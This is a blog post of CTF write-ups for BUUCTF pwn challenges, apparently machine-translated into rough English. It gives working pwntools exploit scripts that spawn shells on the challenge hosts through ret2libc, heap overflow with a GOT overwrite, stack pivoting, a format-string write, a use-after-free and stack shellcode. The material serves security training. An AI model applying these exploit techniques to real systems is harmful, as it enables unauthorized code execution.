当前位置:网站首页>buuctf-pwn write-ups (7)
buuctf-pwn write-ups (7)
2022-07-02 14:36:00 【L3H_ CoLin】
buu054-jarvisoj_level1
It's that again jarvisoj Peculiar “ intestinal obstruction ” problem , The remote message will not come until it sends something , This question was originally written in the stack shellcode Then return to the stack to execute , But it can also be used ret2Libc.
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26705)
elf = ELF('./pwn')
io.sendline(cyclic(0x88+4) + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['printf']) + p32(4))
printf = u32(io.recv(4))
libc = LibcSearcher('printf', printf)
base = printf - libc.dump('printf')
print(hex(base))
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
io.sendline(cyclic(0x88+4) + p32(sys) + p32(0xdeadbeef) + p32(binsh))
io.interactive()
buu055-babyfengshui_33c3_2016
A topic to investigate the arrangement of piles , You can add up to 50 Users , Each user's information uses two chunk To preserve . first chunk preservation description, Size can be freely chosen , the second chunk Save the first chunk Address plus user name , The size is fixed to 0x80( Case sensitive ).
You need to focus on the options 0 Add a check in the function used to read names in the user .
This place checks the size relationship between the two heap addresses . What exactly is this examination about ?
ptr Deposit 50 individual user_info The pointer , that &ptr+index The user name should be written user_info The address of , Look up the assembly code and find the following name[120] I don't know why , So debugging is the best way to understand . Debugging found , What we actually check here is : One user_info in desc Whether the input length of exceeds the limit . Its comparison method is : First type desc The length of ( This is actually repeated input , The length has been entered once before ,desc Of chunk Has been allocated ), Then the program compares "desc+ length " Does this address exceed user_info The address of . because desc Precede user_info Distribute , So check like this . As assigned desc The writable header address is 0x8049208, The case size is 0x80,user_info The writable header address of is 0x8049298, In the writing desc The input size is 0x40, So this check compares 0x8049208+0x40 and 0x804929c(user_info Of size) Size .
So it seems , The idea of bypassing this check is very clear . We find a way to make these two chunk The allocated distance is a little farther , There are others in the middle chunk, and desc Distribution in user_info Low address location of . In this way, we can write desc To cover some chunk.
As shown in the figure below, it is a simple utilization idea .
By heap overflow user_info #3 Medium desc Replace the pointer with .got Table address , Get free Calculate after function address system Address , Write back to got In the table , call free Function can be executed system(‘/bin/sh’)
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29858)
elf = ELF('./pwn')
def add(size, desclen, desc, name):
io.sendlineafter(b'Action: ', b'0')
io.sendlineafter(b'size of description: ', str(size).encode())
io.sendlineafter(b'name: ', name)
io.sendlineafter(b'text length: ', str(desclen).encode())
io.sendlineafter(b'text: ', desc)
def delete(index):
io.sendlineafter(b'Action: ', b'1')
io.sendlineafter(b'index: ', str(index).encode())
def show(index):
io.sendlineafter(b'Action: ', b'2')
io.sendlineafter(b'index: ', str(index).encode())
def update(index, desclen, desc):
io.sendlineafter(b'Action: ', b'3')
io.sendlineafter(b'index: ', str(index).encode())
io.sendlineafter(b'text length: ', str(desclen).encode())
io.sendafter(b'text: ', desc)
add(0x20, 0x20, b'/bin/sh', b'colin') # user #0
add(0x20, 0x20, b'colin', b'colin') # user #1
add(0x20, 0x20, b'colin', b'colin') # user #2
delete(1)
payload = cyclic(0x80)
payload += p32(0) # prev size of user_#2.desc
payload += p32(0x29) # size of user_#2.desc
payload += b'\x00' * 0x20
payload += p32(0) # prev size of user_#2.userinfo
payload += p32(0x89) # size of user_#2.userinfo
payload += p32(elf.got['free']) # change the desc pointer to .plt.got
add(0x80, 0x100, payload, b'colin') # user #3, desc chunk = userinfo #1
show(2)
io.recvuntil(b'description: ')
free = u32(io.recv(4))
print(hex(free))
libc = LibcSearcher('free', free)
base = free - libc.dump('free')
sys = base + libc.dump('system')
update(2, 4, p32(sys))
delete(0)
io.interactive()
buu056-ciscn_2019_s_4
This question vuln There are two inputs in the function , The first input we pass printf Pull it out ebp The address of , We can calculate the address of the string we entered , Then the second input will ebp Modify it into the string , Return to a function , In the absence of push ebp Under the premise of ,leave The instruction will be carried out first mov esp, ebp operation , take esp Force up to the middle of our string , take system Write the address into the string getshell. Note the string ’/bin/sh’ To write system Address high address , prevent system Function internal override string .
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 28199)
elf = ELF('./pwn')
io.sendline(cyclic(40-1))
io.recvuntil('Hello, ')
io.recv(40)
ebp = u32(io.recv(4))
print(hex(ebp))
buf_addr = ebp - 0x38
payload = p32(elf.plt['system']) # offset: 0x0
payload += p32(elf.symbols['main']) # offset: 0x4
payload += p32(buf_addr + 0xC) # offset: 0x8
payload += b'/bin/sh\x00' # offset: 0xC
payload += cyclic(0x14) # 0ffset: 0x14
payload += p32(buf_addr - 4) # ebp
payload += p32(0x8048562) # ret addr: leave; ret
io.send(payload)
io.interactive()
buu057-hitcontraining_magicheap
And the 39 The questions are exactly the same , except magic and heaparray Your address is missing 0x20. skip .
buu058-axb_2019_fmt32
Format string questions . First, find the offset of the format string through debugging :
Use the format string to disclose got Table address , And then use fmtstr_payload The function structure payload, take printf Functional got Change the table address to system.( There is a certain probability that the following code will fail , I don't know why )
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29861)
elf = ELF('./pwn')
io.sendlineafter(b'Please tell me:', b'a%9$s' + p32(elf.got['alarm']))
io.recvuntil(b'Repeater:a')
alarm = u32(io.recv(4))
print(hex(alarm))
libc = LibcSearcher('alarm', alarm)
base = alarm - libc.dump('alarm')
print(hex(base))
sys = base + libc.dump('system')
print(hex(sys))
payload = b'|| deadbeef||'
payload += fmtstr_payload(11, {
elf.got['printf']: sys}, numbwritten=22)
print(payload)
io.sendlineafter(b'Please tell me:', payload)
io.sendline(b'|| /bin/sh')
io.interactive()
buu059-ciscn_2019_n_3
After analyzing the source program , The data structure used in this problem can be obtained as follows :
records The global variable is chunk_info* Array of . It can store integer or string .
In both memory free functions, the corresponding pointer in the global variable is not deleted , May lead to UAF.
Because the printed content uses chunk_info Function pointer in , Therefore, any code can be executed by modifying this function pointer .
Use here UAF Modify function pointer , modify free Function pointer to system, modify print The function pointer is a string ’sh\x00\x00’, In this way, it can be executed when deleting "system(‘sh’)".
from pwn import *
context.log_level='debug'
io = process('./pwn')
elf = ELF("./pwn")
def add(index, type, content, length=0):
io.sendlineafter(b'CNote > ', b'1')
io.sendlineafter(b'Index > ', str(index).encode())
io.sendlineafter(b'Type > ', str(type).encode())
if type == 2:
io.sendlineafter(b'Length > ', str(length).encode())
io.sendlineafter(b'Value > ', content)
def delete(index):
io.sendlineafter(b'CNote > ', b'2')
io.sendlineafter(b'Index > ', str(index).encode())
def dump(index):
io.sendlineafter(b'CNote > ', b'3')
io.sendlineafter(b'Index > ', str(index).encode())
add(0, 2, b'/bin/sh', 0x10)
add(1, 1, b'123456')
delete(0)
delete(1)
add(2, 2, b'sh\x00\x00' + p32(elf.plt['system']), 0xc)
delete(0)
io.interactive()
buu060-wustctf2020_closed
This question is actually for us to understand linux Standard input and output . After opening a terminal , For this terminal, there is standard input ( The file descriptor is 0)、 standard output (1) And standard error output (2) Three criteria IO flow . The file descriptors of these three streams point to a place , That is, the open console . Understand the problem solution exec 1>&0 The key is to treat the console program itself as a file , This file can be entered through our keyboard , You can also output , The output can be seen by us , But the output itself is still in this file . The program turns off standard output and standard error output , But the input is not closed , The three file descriptors originally point to this console program , Now we just need to re point the standard input to the console , That is, point to where the standard input points .
As shown in the figure below , This console program is pycharm Internal console , Its standard input 、 Output 、 The error output points to /dev/pts/2. that exec 1>&0 It's actually equivalent to exec 1>/dev/pts/2.
We use exec 1>&0 Turn on the output stream , Take a look at where the standard input stream points , Found to be /dev/pts/2
therefore , The following inputs can also open the output stream :exec 1>/dev/pts/2( Local can , Not remotely because there is no file command )
buu061-pwnable_start
The source program of this problem is very simple , It should be written in assembly , Just two functions . Two system calls were made , One output, one input , Stack executable .
It is observed that the input length is greater than the output , You can return to the output by syscall The code above , Skip pair output length mov dl, 14h Modification of , And directly execute the following mov bl,1; mov al,4, You can achieve output 0x3C Bytes of data , To get the address of the stack .
After printing out the stack address, you can also output once , Can be shellcode write in , And then execute shellcode that will do . After debugging, we found that shellcode Yes 44 byte , write in shellcode Then it happens to be the writing position of the return address . But here are a few points to note :
- You cannot write the return address directly to shellcode after . Although this can successfully return to shellcode, But because of shellcode There are a lot of push Instructions , and shellcode At the low address of the return address , It can lead to shellcode The latter part of is covered , Unable to execute normally .
- Can't directly shellcode Write after the return address , Because the input length can only be 0x3C byte , After the return address, you can only write 0xC Bytes , Not long enough .
So consider writing a small jump after the return address gadget:sub esp, 0x100; jmp ecx. Notice when the execution comes here ecx The value of and call input system call ecx The values are equal , therefore jmp ecx Be able to execute directly shellcode. and sub esp,0x100 Is to force the stack to move down , prevent shellcode Be overwritten . such , The return address should be written sub esp,0x100 The address of .

exp:
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
io = process('./pwn')
payload = cyclic(20)
payload += p32(0x804808B)
io.sendafter(b'Let\'s start the CTF:', payload)
io.recvuntil(p32(0x804808b))
stack_addr = u32(io.recv(4))
payload = asm(shellcraft.sh())
payload += p32(stack_addr + 0x14)
payload += asm("sub esp, 0x100;"
"jmp ecx;")
io.send(payload)
io.interactive()
边栏推荐
- 提示:SQL Server 阻止了对组件‘Ad Hoc Distributed Queries ‘的STATEMENT ‘OpenRowset/OpenDatasource“”
- freemarker的使用
- OpenHarmony笔记-----------(四)
- String matching problem
- socket(套接字)与socket地址
- 2、const 型指针
- Onnx+tensorrt: write preprocessing operations to onnx and complete TRT deployment
- Teamtalk source code analysis win client
- Solving the longest subsequence with linear DP -- three questions
- Xilinx Vivado set *.svh as SystemVerilog Header
猜你喜欢

没有从远程服务器‘‘映射到本地用户‘(null)/sa‘的远程用户‘sa‘及服务主密码解密错误的解决办法

STM32-DAC实验&高频DAC输出测试
![[development environment] 010 editor tool (tool download | binary file analysis template template installation | shortcut key viewing and setting)](/img/de/7d70f513577e93f1bde1969935a29e.jpg)
[development environment] 010 editor tool (tool download | binary file analysis template template installation | shortcut key viewing and setting)

Actual combat sharing of shutter screen acquisition

What is erdma? Popular science cartoon illustration

Fabric.js 缩放画布

Fabric.js 自由绘制圆形

Method of creating linked server for cross server data access

The most complete analysis of Flink frame window function

途家木鸟美团夏日折扣对垒,门槛低就一定香吗?
随机推荐
How many knowledge points can a callable interface have?
Fatal: unsafe repository is owned by someone else
Use of freemaker
Fabric. Keep the original level when JS element is selected
Solving the longest subsequence with linear DP -- three questions
C crystal report printing
The most complete analysis of Flink frame window function
freemarker的使用
篇9:XShell免费版安装
C语言高级用法--函数指针:回调函数;转换表
Convolutional neural network (Introduction)
Some interview suggestions for Android programmers "suggestions collection"
关于Flink框架窗口(window)函数最全解析
TeamTalk源码分析之win-client
String matching problem
<口算练习机 方案开发原理图>口算练习机/口算宝/儿童数学宝/儿童计算器 LCD液晶显示驱动IC-VK1621B,提供技术支持
提示:SQL Server 阻止了对组件‘Ad Hoc Distributed Queries ‘的STATEMENT ‘OpenRowset/OpenDatasource“”
ONNX+TensorRT:将预处理操作写入ONNX并完成TRT部署
docker mysql
【空间&单细胞组学】第1期:单细胞结合空间转录组研究PDAC肿瘤微环境